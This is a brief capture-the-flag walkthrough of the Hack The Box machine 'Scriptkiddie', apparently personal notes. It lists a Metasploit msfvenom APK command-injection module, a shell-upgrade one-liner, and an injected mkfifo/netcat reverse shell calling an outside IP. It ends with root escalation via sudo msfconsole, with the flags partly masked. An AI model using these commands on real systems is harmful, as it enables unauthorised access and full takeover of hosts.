Hack The Box – Scriptkiddie
exploit/unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection
python3 -c ‘import pty; pty.spawn(“/bin/bash”)’
User.txt: ebca83b5823fXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
echo “1 2 ;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.46 1234 >/tmp/f #” >> hackers
pwn@scriptkiddie:~$ sudo /opt/metasploit-framework-6.0.9/msfconsole
msf6 > /bin/bash –i
Root.txt: cf4c2c63aXXXXXXXXXXXXXXXXXXXXXXXXXXXXX